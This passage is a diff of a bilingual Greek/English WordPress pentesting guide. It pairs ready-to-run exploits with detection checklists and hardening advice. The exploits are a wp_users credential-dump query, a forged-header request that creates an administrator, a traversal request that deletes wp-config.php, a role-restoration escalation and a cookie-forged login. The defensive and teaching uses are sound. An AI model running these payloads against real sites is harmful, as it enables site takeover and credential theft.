||||
|
||||
## Post Exploitation
|
||||
|
||||
Εξαγωγή usernames και passwords:
|
||||
Extract usernames and passwords:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -333,27 +333,27 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Επιφάνεια Επίθεσης
|
||||
### Attack Surface
|
||||
|
||||
Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργικότητά του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευπαθών plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργία του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία, καθώς και κάποια παραδείγματα ευπαθών plugins στο [**αυτό το άρθρο**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Ένας από τους τρόπους με τους οποίους ένα Wordpress plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτές μπορούν να περιέχουν σφάλματα στη λογική, authorization, ή authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει** (ανεξάρτητα από το ρόλο του).
|
||||
Ένας από τους τρόπους που ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα στη λογική, authorization ή authentication. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce, το οποίο **οποιοσδήποτε χρήστης authenticated στην Wordpress instance μπορεί να έχει** (ανεξαρτήτως ρόλου).
|
||||
|
||||
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμη και μη αυθεντικοποιημένους).**
|
||||
**Η χρήση του `nopriv` κάνει το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμα και μη αυθεντικοποιημένους).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει ότι ο χρήστης είναι συνδεδεμένος, δεν ελέγχει συνήθως το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων.
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς επαληθεύει ότι ο χρήστης είναι συνδεδεμένος — συνήθως δεν ελέγχει το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά δικαιώματα μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
|
||||
Επίσης είναι δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρίζοντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Η `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δεδομένος χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο API.
|
||||
Η `permission_callback` είναι μια callback συνάρτηση που ελέγχει αν ένας δεδομένος χρήστης είναι εξουσιοδοτημένος να καλέσει την API μέθοδο.
|
||||
|
||||
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παραλείψει απλά τον έλεγχο δικαιωμάτων του χρήστη.**
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
|
||||
- **Άμεση πρόσβαση στο αρχείο PHP**
|
||||
- **Άμεση πρόσβαση στο php αρχείο**
|
||||
|
||||
Φυσικά, Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, εάν ένα plugin εκθέτει κάποια ευάλωτη λειτουργία που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη.
|
||||
Φυσικά, Wordpress χρησιμοποιεί PHP και αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Οπότε, στην περίπτωση που ένα plugin εκθέτει κάποια ευπαθή λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Ορισμένα plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον context χρήστη για αιτήματα REST. Εάν το header δεν είναι κρυπτογραφικά δεμένο με το αίτημα από ένα upstream component, ένας επιτιθέμενος μπορεί να το ψευδοποιήσει και να προσπελάσει προνομιούχες REST routes ως administrator.
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
|
||||
- Αντίκτυπος: μη-επαληθευμένη κλιμάκωση προνομίων σε administrator, δημιουργώντας νέο administrator μέσω του core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (εξαναγκάζει user ID 1, συνήθως τον πρώτο administrator λογαριασμό).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` με έναν πίνακα ρόλων με αυξημένα δικαιώματα.
|
||||
- Επίπτωση: unauthenticated privilege escalation σε admin μέσω δημιουργίας νέου administrator μέσω του core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (αναγκάζει user ID 1, συνήθως τον πρώτο administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` με ένα elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,29 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Γιατί λειτουργεί
|
||||
|
||||
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση αυθεντικοποίησης και παραλείπει τους ελέγχους capability.
|
||||
- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το plugin hack την παρακάμπτει θέτοντας απευθείας το current user context από το header.
|
||||
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση authentication και παρακάμπτει τους ελέγχους capability.
|
||||
- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το hack του plugin την παρακάμπτει ρυθμίζοντας άμεσα το current user context από το header.
|
||||
|
||||
Προσδοκώμενοι δείκτες επιτυχίας
|
||||
Δείκτες επιτυχίας
|
||||
|
||||
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
|
||||
- Ένας νέος admin χρήστης ορατός στο `wp-admin/users.php`.
|
||||
- Νέος admin χρήστης ορατός στο `wp-admin/users.php`.
|
||||
|
||||
Λίστα ελέγχου ανίχνευσης
|
||||
Λίστα ελέγχου εντοπισμού
|
||||
|
||||
- Κάντε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Ελέγξτε τις εγγραφές REST για privileged callbacks που στερούνται ισχυρών ελέγχων `permission_callback` και αντ' αυτού βασίζονται σε request headers.
|
||||
- Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
|
||||
- Ψάξτε με grep για `getallheaders()`, `$_SERVER['HTTP_...']` ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Εξετάστε τις REST registrations για privileged callbacks που στερούνται ισχυρών ελέγχων `permission_callback` και στηρίζονται αντίθετα σε request headers.
|
||||
- Ψάξτε για usages των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
|
||||
|
||||
### Αυθαίρετη Διαγραφή Αρχείων από Μη Αυθεντικοποιημένο Χρήστη μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Μη-επαληθευμένη Αυθαίρετη Διαγραφή Αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_** **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
|
||||
Τα WordPress θέματα και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν η παραλλαγή **_nopriv_** χρησιμοποιείται **το callback γίνεται προσβάσιμο από μη-επαληθευμένους επισκέπτες**, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
|
||||
|
||||
1. Έναν **έλεγχο capability** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
|
||||
2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
|
||||
3. **Αυστηρή απολύμανση / επαλήθευση εισόδων**.
|
||||
3. **Αυστηρή εξυγίανση / επικύρωση εισόδων**.
|
||||
|
||||
Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στην *Remove Font Family* λειτουργία και τελικά παρέδωσε τον παρακάτω κώδικα (απλουστευμένος):
|
||||
Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Remove Font Family* και τελικά παρείχε τον παρακάτω κώδικα (απλοποιημένος):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -434,37 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Προβλήματα που εισάγονται από αυτό το απόσπασμα:
|
||||
Προβλήματα που εισάγει αυτό το απόσπασμα:
|
||||
|
||||
* **Μη αυθεντικοποιημένη πρόσβαση** – το `wp_ajax_nopriv_` hook έχει καταχωρηθεί.
|
||||
* **Χωρίς nonce / έλεγχο δικαιωμάτων** – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
|
||||
* **Χωρίς sanitisation διαδρομής** – η από τον χρήστη ελεγχόμενη συμβολοσειρά `fontfamily` συγχωνεύεται σε διαδρομή του filesystem χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
|
||||
* **Μη αυθεντικοποιημένη πρόσβαση** – το hook `wp_ajax_nopriv_` καταχωρείται.
|
||||
* **Καμία επαλήθευση nonce / capability** – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
|
||||
* **Καμία απολύμανση διαδρομής** – η συμβολοσειρά `fontfamily` που ελέγχεται από τον χρήστη συνενώνεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας την κλασική `../../` traversal.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
#### Exploitation
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST αίτημα:
|
||||
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST request:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Επειδή `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις αλληλουχίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress στον *οδηγό εγκατάστασης* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB διαμόρφωση και δημιουργεί έναν admin χρήστη).
|
||||
Επειδή το `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` αρκούν σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στο *installation wizard* στην επόμενη επίσκεψη, επιτρέποντας πλήρες site take-over (ο attacker απλώς παρέχει νέα DB configuration και δημιουργεί έναν admin χρήστη).
|
||||
|
||||
Άλλοι σημαντικοί στόχοι περιλαμβάνουν plugin/theme αρχεία `.php` (για να σπάσουν πρόσθετα ασφαλείας) ή κανόνες `.htaccess`.
|
||||
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme `.php` (για να σπάσουν security plugins) ή κανόνες `.htaccess`.
|
||||
|
||||
#### Λίστα ελέγχου ανίχνευσης
|
||||
|
||||
* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί βοηθητικά για το filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
|
||||
* Συνένωση μη φιλτραρισμένης εισόδου χρήστη σε μονοπάτια (ψάξτε για `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Έλλειψη `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
|
||||
* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
|
||||
* Συνένωση μη-ελεγχόμενης εισόδου χρήστη σε paths (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Απουσία των `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Αύξηση προνομίων μέσω επαναφοράς παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Πολλά plugins υλοποιούν λειτουργία "view as role" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό/ους ρόλο/ους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν το μονοπάτι επαναφοράς εξαρτάται μόνο από παραμέτρους αίτησης (π.χ. `$_REQUEST['reset-for']`) και από μια λίστα που διατηρεί το plugin χωρίς έλεγχο δυνατοτήτων (capabilities) και έγκυρου nonce, αυτό μετατρέπεται σε κάθετη αύξηση προνομίων.
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το branch επαναφοράς έφερνε πίσω ρόλους βάσει `reset-for=<username>` αν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτελούσε ούτε `current_user_can()` έλεγχο ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και ξαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
|
||||
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει του `reset-for=<username>` αν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Γιατί είναι εκμεταλλεύσιμο
|
||||
Why it’s exploitable
|
||||
|
||||
- Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση στην πλευρά του server.
|
||||
- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσεγγίζοντας τη διαδρομή επαναφοράς.
|
||||
- Σε κάποιες εγκαταστάσεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να προκαλέσει επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (σφάλμα εξουσιοδότησης).
|
||||
- Εμπιστεύεται `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή.
|
||||
- Εάν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας το reset path.
|
||||
- Σε κάποιες αναπτύξεις, οποιοσδήποτε authenticated user θα μπορούσε να προκαλέσει reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization).
|
||||
|
||||
Εκμετάλλευση (παράδειγμα)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -493,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Σε ευάλωτες builds αυτό αφαιρεί τα current roles και επαναπροσθέτει τα αποθηκευμένα original roles (π.χ. `administrator`), αποτελεσματικά escalating privileges.
|
||||
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. `administrator`), αυξάνοντας ουσιαστικά τα προνόμια.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Αναζητήστε role-switching features που αποθηκεύουν “original roles” σε user meta (π.χ. `_asenha_view_admin_as_original_roles`).
|
||||
- Εντοπίστε reset/restore paths που:
|
||||
- Διαβάζουν usernames από `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Τροποποιούν roles μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Εξουσιοδοτούν με βάση ένα plugin option array (π.χ. `viewing_admin_as_role_are`) αντί για τις capabilities του actor.
|
||||
- Αναζητήστε λειτουργίες role-switching που διατηρούν “original roles” στο user meta (π.χ. `_asenha_view_admin_as_original_roles`).
|
||||
- Εντοπίστε διαδρομές επαναφοράς που:
|
||||
- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Εξουσιοδοτούν βάσει πίνακα επιλογών plugin (π.χ. `viewing_admin_as_role_are`) αντί για τις ικανότητες του ενεργούντος χρήστη.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Κάποια plugins συνδέουν user-switching helpers στο public `init` hook και εξάγουν ταυτότητα από ένα client-controlled cookie. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει authentication, capability και ένα έγκυρο nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να force login ως οποιοδήποτε user ID.
|
||||
Κάποια plugins συνδέουν user-switching helpers στο δημόσιο `init` hook και εξάγουν ταυτότητα από cookie που ελέγχεται από τον client. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει την αυθεντικοποίηση, τις ικανότητες και ένα έγκυρο nonce, οποιοσδήποτε μη αυθεντικοποιημένος επισκέπτης μπορεί να αναγκάσει σύνδεση ως αυθαίρετο user ID.
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
Τυπικό ευάλωτο pattern (απλοποιημένο από Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Γιατί είναι εκμεταλλεύσιμο
|
||||
|
||||
- Ο δημόσιος `init` hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`).
|
||||
- Η ταυτότητα προέρχεται από cookie που μπορεί να τροποποιηθεί από τον client (`original_user_id`).
|
||||
- Άμεση κλήση της `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο δικαιωμάτων/nonce.
|
||||
- Το δημόσιο `init` hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`).
|
||||
- Η ταυτότητα προκύπτει από ένα cookie που τροποποιείται από τον client (`original_user_id`).
|
||||
- Άμεση κλήση του `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο capability/nonce.
|
||||
|
||||
Εκμετάλλευση (χωρίς έλεγχο ταυτότητας)
|
||||
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -554,32 +554,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
### Σκέψεις WAF για CVEs του WordPress/πρόσθετων
|
||||
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
Οι γενικοί edge/server WAFs ρυθμίζονται για ευρείς προτύπους (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου στο WordPress/στα πρόσθετα είναι σφάλματα λογικής/ελέγχου ταυτότητας ειδικά στην εφαρμογή που μοιάζουν με αθώα κίνηση εκτός αν η μηχανή κατανοεί τις διαδρομές του WordPress και τη σημασιολογία των πρόσθετων.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Στοχεύστε plugin-specific endpoints με clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Δοκιμάστε πρώτα unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation.
|
||||
- Τυπικές περιπτώσεις υψηλού αντίκτυπου: privilege escalation (broken access control), αυθαίρετη αποστολή/λήψη αρχείων, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
- Μην βασίζεστε σε γενικές υπογραφές WAF για να προστατέψετε plugin CVEs. Εφαρμόστε virtual patches σε επίπεδο εφαρμογής ειδικά για την ευπάθεια ή ενημερώστε άμεσα.
|
||||
- Προτιμήστε positive-security checks στον κώδικα (capabilities, nonces, strict input validation) αντί για αρνητικά regex φίλτρα.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
### Τακτικές ενημερώσεις
|
||||
|
||||
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
|
||||
Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress πρόσθετα και θέματα**.
|
||||
Εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.
|
||||
|
||||
### Πρόσθετα Ασφαλείας
|
||||
|
||||
@ -593,10 +593,10 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- Χρησιμοποιήστε **ισχυρούς κωδικούς** και **2FA**
|
||||
- Περιοδικά **ελέγχετε** τα **δικαιώματα** των χρηστών
|
||||
- **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force
|
||||
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέπετε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
|
||||
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
|
||||
|
||||
|
||||
### Μη αυθεντικοποιημένη SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
|
||||
### Μη αυθεντικοποιημένο SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
|
||||
|
||||
Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
@ -608,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Προβλήματα που εισάγει αυτό το απόσπασμα:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Μη εξουδετερωμένη είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το αίτημα HTTP.
|
||||
2. **Συνένωση συμβολοσειρών μέσα στο WHERE clause** – δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Προσβασιμότητα χωρίς έλεγχο ταυτότητας** – παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μοναδικός έλεγχος είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Μη-καθαρισμένη είσοδος χρήστη** – `parentid` προέρχεται απευθείας από το HTTP αίτημα.
|
||||
2. **Συγκόλληση συμβολοσειρών μέσα στο WHERE clause** – δεν χρησιμοποιείται `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
